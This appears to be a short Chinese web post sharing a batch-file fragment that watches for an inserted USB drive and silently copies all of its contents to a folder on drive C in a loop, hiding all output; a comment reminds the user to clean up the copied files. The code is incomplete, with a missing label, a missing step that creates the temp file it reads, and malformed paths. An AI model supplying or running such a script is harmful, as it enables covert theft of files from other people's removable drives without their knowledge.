判断U盘已插入并自动COPY所有内容的批处理-U盘自动复制

2019-09-19 07:02:34王冬梅

for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%copy.tmp"') do (
xcopy /e /y  %%i*.* c:copy >nul 2>nul
)
rem 已复制,请及时清理文件!
if not exist %temp%sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%sleep.exe 20s
goto again

文件打包下载地址

相关文章 大家在看